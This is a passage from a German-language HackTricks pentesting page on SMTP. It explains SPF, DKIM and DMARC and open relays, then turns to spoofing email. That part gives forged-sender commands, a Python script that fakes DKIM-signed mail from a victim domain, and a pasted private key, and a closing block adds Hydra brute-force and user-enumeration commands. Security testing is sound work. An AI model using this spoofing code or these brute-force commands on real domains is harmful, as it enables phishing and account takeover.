_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
|
|
```
|
|
Traditionell war es möglich, jede Domain zu fälschen, die keinen korrekten/keinen SPF-Eintrag hatte. **Heutzutage** wird eine **E-Mail**, die von einer **Domain ohne gültigen SPF-Eintrag** stammt, wahrscheinlich automatisch **abgelehnt/als nicht vertrauenswürdig markiert**.
|
|
|
|
Um den SPF einer Domain zu überprüfen, können Sie Online-Tools wie [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) verwenden.
|
|
|
|
### DKIM (DomainKeys Identified Mail)
|
|
|
|
DKIM wird verwendet, um ausgehende E-Mails zu signieren und ihre Validierung durch externe Mail Transfer Agents (MTAs) durch das Abrufen des öffentlichen Schlüssels der Domain aus dem DNS zu ermöglichen. Dieser öffentliche Schlüssel befindet sich in einem TXT-Eintrag der Domain. Um auf diesen Schlüssel zuzugreifen, muss man sowohl den Selector als auch den Domainnamen kennen.
|
|
|
|
Um beispielsweise den Schlüssel anzufordern, sind der Domainname und der Selector wesentlich. Diese Informationen können im Mail-Header `DKIM-Signature` gefunden werden, z.B. `d=gmail.com;s=20120113`.
|
|
|
|
Ein Befehl zum Abrufen dieser Informationen könnte wie folgt aussehen:
|
|
```bash
|
|
dig 20120113._domainkey.gmail.com TXT | grep p=
|
|
# This command would return something like:
|
|
20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
|
|
```
|
|
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
|
|
|
DMARC verbessert die E-Mail-Sicherheit, indem es auf den SPF- und DKIM-Protokollen aufbaut. Es legt Richtlinien fest, die Mailserver bei der Verarbeitung von E-Mails einer bestimmten Domäne leiten, einschließlich des Umgangs mit Authentifizierungsfehlern und der Weiterleitung von Berichten über E-Mail-Verarbeitungsaktionen.
|
|
|
|
**Um den DMARC-Eintrag zu erhalten, müssen Sie das Subdomain \_dmarc abfragen**
|
|
```bash
|
|
# Reject
|
|
dig _dmarc.facebook.com txt | grep DMARC
|
|
_dmarc.facebook.com. 3600 IN TXT "v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"
|
|
|
|
# Quarantine
|
|
dig _dmarc.google.com txt | grep DMARC
|
|
_dmarc.google.com. 300 IN TXT "v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"
|
|
|
|
# None
|
|
dig _dmarc.bing.com txt | grep DMARC
|
|
_dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"
|
|
```
|
|
#### DMARC-Tags
|
|
|
|
| Tag-Name | Zweck | Beispiel |
|
|
| -------- | --------------------------------------------- | ------------------------------- |
|
|
| v | Protokollversion | v=DMARC1 |
|
|
| pct | Prozentsatz der Nachrichten, die gefiltert werden | pct=20 |
|
|
| ruf | Berichts-URI für forensische Berichte | ruf=mailto:authfail@example.com |
|
|
| rua | Berichts-URI für aggregierte Berichte | rua=mailto:aggrep@example.com |
|
|
| p | Richtlinie für die Organisationsdomäne | p=quarantine |
|
|
| sp | Richtlinie für Subdomänen der OD | sp=reject |
|
|
| adkim | Ausrichtungsmodus für DKIM | adkim=s |
|
|
| aspf | Ausrichtungsmodus für SPF | aspf=r |
|
|
|
|
### **Was ist mit Subdomänen?**
|
|
|
|
**Von** [**hier**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
|
Sie müssen separate SPF-Einträge für jede Subdomäne haben, von der Sie E-Mails senden möchten.\
|
|
Das Folgende wurde ursprünglich auf openspf.org veröffentlicht, das früher eine großartige Ressource für solche Dinge war.
|
|
|
|
> Die Dämonenfrage: Was ist mit Subdomänen?
|
|
>
|
|
> Wenn ich eine E-Mail von pielovers.demon.co.uk erhalte und es keine SPF-Daten für pielovers gibt, sollte ich dann eine Ebene zurückgehen und SPF für demon.co.uk testen? Nein. Jede Subdomäne bei Demon ist ein anderer Kunde, und jeder Kunde kann seine eigene Richtlinie haben. Es würde keinen Sinn ergeben, die Richtlinie von Demon standardmäßig auf alle Kunden anzuwenden. Wenn Demon das tun möchte, kann es SPF-Einträge für jede Subdomäne einrichten.
|
|
>
|
|
> Daher lautet der Rat an SPF-Publisher: Sie sollten für jede Subdomäne oder jeden Hostnamen, für den ein A- oder MX-Eintrag vorhanden ist, einen SPF-Eintrag hinzufügen.
|
|
>
|
|
> Websites mit Platzhalter-A- oder MX-Einträgen sollten auch einen Platzhalter-SPF-Eintrag haben, der folgendermaßen aussieht: \* IN TXT "v=spf1 -all"
|
|
|
|
Das macht Sinn - eine Subdomäne kann sich durchaus an einem anderen geografischen Ort befinden und eine sehr unterschiedliche SPF-Definition haben.
|
|
|
|
### **Offenes Relay**
|
|
|
|
Beim Versenden von E-Mails ist es wichtig, sicherzustellen, dass sie nicht als Spam markiert werden. Dies wird häufig durch die Verwendung eines **Relay-Servers erreicht, der vom Empfänger vertraut wird**. Eine häufige Herausforderung besteht jedoch darin, dass Administratoren möglicherweise nicht vollständig darüber informiert sind, welche **IP-Bereiche sicher sind**. Dieses mangelnde Verständnis kann zu Fehlern bei der Einrichtung des SMTP-Servers führen, ein Risiko, das häufig bei Sicherheitsbewertungen identifiziert wird.
|
|
|
|
Ein Workaround, den einige Administratoren verwenden, um Probleme bei der Zustellung von E-Mails zu vermeiden, insbesondere im Zusammenhang mit der Kommunikation mit potenziellen oder laufenden Kunden, besteht darin, **Verbindungen von jeder IP-Adresse zuzulassen**. Dies wird durch Konfigurieren des `mynetworks`-Parameters des SMTP-Servers erreicht, um alle IP-Adressen zu akzeptieren, wie unten gezeigt:
|
|
```bash
|
|
mynetworks = 0.0.0.0/0
|
|
```
|
|
Um zu überprüfen, ob ein Mail-Server ein offenes Relay ist (was bedeutet, dass er E-Mails von jeder externen Quelle weiterleiten könnte), wird häufig das Tool `nmap` verwendet. Es enthält ein spezielles Skript, das dies testet. Der Befehl für einen ausführlichen Scan auf einem Server (zum Beispiel mit der IP 10.10.10.10) auf Port 25 mit `nmap` lautet:
|
|
```bash
|
|
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
|
|
```
|
|
### **Werkzeuge**
|
|
|
|
* [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Überprüfen Sie SPF- und DMARC-Fehlkonfigurationen**
|
|
* [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Erhalten Sie automatisch SPF- und DMARC-Konfigurationen**
|
|
|
|
### Spoof-E-Mail senden
|
|
|
|
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
|
|
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
|
|
* [**https://emkei.cz/**](https://emkei.cz/)
|
|
|
|
**Oder Sie könnten ein Tool verwenden:**
|
|
|
|
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
|
|
```bash
|
|
# This will send a test email from test@victim.com to destination@gmail.com
|
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
|
|
# But you can also modify more options of the email
|
|
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
|
|
```
|
|
{% hint style="warning" %}
|
|
Wenn Sie beim Parsen des Schlüssels einen Fehler mit der dkim Python-Bibliothek erhalten, können Sie stattdessen den folgenden Schlüssel verwenden.\
|
|
**HINWEIS**: Dies ist nur eine schnelle Lösung, um in Fällen, in denen aus irgendeinem Grund der OpenSSL-Privatschlüssel **nicht von dkim geparst werden kann**, schnelle Überprüfungen durchzuführen.
|
|
```
|
|
-----BEGIN RSA PRIVATE KEY-----
|
|
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
|
|
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
|
|
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
|
|
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
|
|
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
|
|
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
|
|
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
|
|
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
|
|
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
|
|
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
|
|
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
|
|
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
|
|
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
|
|
-----END RSA PRIVATE KEY-----
|
|
```
|
|
{% endhint %}
|
|
|
|
**Oder Sie können es manuell machen:**
|
|
|
|
{% tabs %}
|
|
{% tab title="PHP" %}
|
|
<pre class="language-php"><code class="lang-php"><strong># Dies sendet eine nicht signierte Nachricht
|
|
</strong><strong>mail("deine_email@gmail.com", "Test Betreff!", "Hey! Dies ist ein Test", "Von: administrator@opfer.com");
|
|
</strong></code></pre>
|
|
{% endtab %}
|
|
|
|
{% tab title="Python" %}
|
|
```python
|
|
# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
|
|
|
|
import os
|
|
import dkim #pip3 install dkimpy
|
|
import smtplib
|
|
from email.mime.multipart import MIMEMultipart
|
|
from email.mime.text import MIMEText
|
|
from email.mime.base import MIMEBase
|
|
|
|
# Set params
|
|
destination="destination@gmail.com"
|
|
sender="administrator@victim.com"
|
|
subject="Test"
|
|
message_html="""
|
|
<html>
|
|
<body>
|
|
<h3>This is a test, not a scam</h3>
|
|
<br />
|
|
</body>
|
|
</html>
|
|
"""
|
|
sender_domain=sender.split("@")[1]
|
|
|
|
# Prepare postfix
|
|
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
|
|
os.system("systemctl restart postfix")
|
|
|
|
# Generate DKIM keys
|
|
dkim_private_key_path="dkimprivatekey.pem"
|
|
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
|
|
with open(dkim_private_key_path) as fh:
|
|
dkim_private_key = fh.read()
|
|
|
|
# Generate email
|
|
msg = MIMEMultipart("alternative")
|
|
msg.attach(MIMEText(message_html, "html"))
|
|
msg["To"] = destination
|
|
msg["From"] = sender
|
|
msg["Subject"] = subject
|
|
headers = [b"To", b"From", b"Subject"]
|
|
msg_data = msg.as_bytes()
|
|
|
|
# Sign email with dkim
|
|
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
|
|
dkim_selector="s1"
|
|
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
|
|
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
|
|
msg_data = msg.as_bytes()
|
|
|
|
# Use local postfix relay to send email
|
|
smtp="127.0.0.1"
|
|
s = smtplib.SMTP(smtp)
|
|
s.sendmail(sender, [destination], msg_data)
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
### **Weitere Informationen**
|
|
|
|
**Weitere Informationen zu diesen Schutzmaßnahmen finden Sie unter** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)
|
|
|
|
### **Weitere Phishing-Indikatoren**
|
|
|
|
* Alter der Domain
|
|
* Links, die auf IP-Adressen verweisen
|
|
* Link-Manipulationstechniken
|
|
* Verdächtige (ungewöhnliche) Anhänge
|
|
* Fehlerhafter E-Mail-Inhalt
|
|
* Verwendung von Werten, die von den Mail-Headern abweichen
|
|
* Vorhandensein eines gültigen und vertrauenswürdigen SSL-Zertifikats
|
|
* Einreichen der Seite bei Web-Inhaltsfilterungsseiten
|
|
|
|
## Exfiltration über SMTP
|
|
|
|
**Wenn Sie Daten über SMTP senden können,** [**lesen Sie dies**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.**
|
|
|
|
## Konfigurationsdatei
|
|
|
|
### Postfix
|
|
|
|
Normalerweise enthält `/etc/postfix/master.cf`, wenn installiert, **Skripte zum Ausführen**, wenn beispielsweise eine neue E-Mail von einem Benutzer empfangen wird. Zum Beispiel bedeutet die Zeile `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}`, dass `/etc/postfix/filtering` ausgeführt wird, wenn eine neue E-Mail vom Benutzer mark empfangen wird.
|
|
|
|
Andere Konfigurationsdateien:
|
|
```
|
|
sendmail.cf
|
|
submit.cf
|
|
```
|
|
## Referenzen
|
|
* [https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
|
|
* [https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/](https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/)
|
|
|
|
## HackTricks Automatische Befehle
|
|
```
|
|
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
|
|
Port_Number: 25,465,587 #Comma separated if there is more than one.
|
|
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Notes
|
|
Description: Notes for SMTP
|
|
Note: |
|
|
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
|
|
|
|
https://book.hacktricks.xyz/pentesting/pentesting-smtp
|
|
|
|
Entry_2:
|
|
Name: Banner Grab
|
|
Description: Grab SMTP Banner
|
|
Command: nc -vn {IP} 25
|
|
|
|
Entry_3:
|
|
Name: SMTP Vuln Scan
|
|
Description: SMTP Vuln Scan With Nmap
|
|
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
|
|
|
|
Entry_4:
|
|
Name: SMTP User Enum
|
|
Description: Enumerate uses with smtp-user-enum
|
|
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
|
|
|
|
Entry_5:
|
|
Name: SMTPS Connect
|
|
Description: Attempt to connect to SMTPS two different ways
|
|
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
|
|
|
|
Entry_6:
|
|
Name: Find MX Servers
|
|
Description: Find MX servers of an organization
|
|
Command: dig +short mx {Domain_Name}
|
|
|
|
Entry_7:
|
|
Name: Hydra Brute Force
|
|
Description: Need Nothing
|
|
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
|
|
|
|
Entry_8:
|
|
Name: consolesless mfs enumeration
|
|
Description: SMTP enumeration without the need to run msfconsole
|
|
Note: sourced from https://github.com/carlospolop/legion
|
|
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
|
|
|
|
```
|
|
<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests**. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Ausnutzungsmodule, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
|
|
|
{% embed url="https://pentest-tools.com/" %}
|
|
<details>
|
|
|
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
|
|
|
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
|
|
|
</details>
|